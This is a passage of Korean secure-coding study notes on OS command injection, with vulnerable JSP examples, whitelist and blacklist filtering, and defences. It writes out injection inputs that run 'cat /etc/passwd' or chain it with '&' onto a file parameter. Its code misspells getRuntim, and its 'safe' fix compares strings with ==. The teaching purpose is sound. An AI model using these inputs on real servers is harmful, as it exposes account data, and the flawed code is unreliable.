exec("쉘 명령어")
subprocess.run([쉘 명령어])
os.system("쉘 명령어")
✍ 외부 입력값을 검증하지 않고 사용
✍ 외부 입력값을 제한하지 않고 사용
✍ 입력값을 제한하는 방법
화이트 리스트 방식 (=허용 목록 방식)
✔ 사용할 수 있는 값을 미리 정의하고 정의된 범위 내의 값만 사용하도록 제한
✔ 새로운 입력 유형에 대해서도 동일한 보안성을 제공하기 때문에 안전
✔ 입력 유형이 추가될 때마다 하나하나 검증의 작업을 거쳐야 하므로 블랙 리스트에 비해 시간이 오래 걸림
블랙 리스트 방식 (=제한 목록 방식)
✔ 사용할 수 없는 값을 미리 정의하고 정의된 범위 외의 값만 사용하도록 제한
✔ 모집합의 규모가 크고, 변화가 심한 경우 사용
✍ 외부 입력값을 운영체제 명령어로 사용하는 경우
run.jsp
=========================================
String cmd = request.getParameter("cmd");
Runtime.getRuntim().exec(cmd);
개발자가 원했던 실행
→ run.jsp?cmd=ifconfig # 서버의 네트워크 설정 정보를 반환
공격자가 조작한 실행
→ run.jsp?cmd=cat /etc/passwd # 의도하지 않은 명령어 실행으로 계정 정보가 노출
→ run.jsp?cmd=ifconfig & cat /etc/passwd # 의도하지 않은 추가 명령어 실행으로
계정 정보가 노출
✍외부 입력값을 운영체제 명령어의 일부로 사용하는 경우
view.jsp
===========================================
String file = request.getParameter("file");
Runtime.getRuntim().exec("cat " + file);
개발자가 원했던 실행
→ view.jsp?file=/data/upload/myfile.txt # /data/upload/ 아래에 있는
~~~~~~~~~~~~~~~~~~~~~~~ myfile.txt 내용을 반환
# cat 명령어의 일부(파라미터)로 사용
# cat 명령어의 일부(파라미터)로 사용
공격자가 조작한 실행
→ view.jsp?file=/data/upload/myfile.txt & cat /etc/passwd
~~~~~~~~~~~~~~~~~
# 추가 명령어 실행을 통해
시스템 파일 내용을 반환
🔎 방어 기법
❶ 불필요한 운영체제 명령어 실행을 제거
❷ 운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 화이트 리스트 방식으로 제한
❸ 입력값에 추가 명령어 실행에 사용되는 &, |, ; 등의 문자가 포함되어 있는지 검증하고 사용
❹ 외부에서 시스템 내부 처리를 유추할 수 없도록 입력값을 코드화
run.jsp
=========================================
String cmd = request.getParameter("cmd");
if (cmd == "CMD001")
Runtime.getRuntim().exec("ifconfig");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
개발자가 원했던 실행
→ run.jsp?cmd=CMD001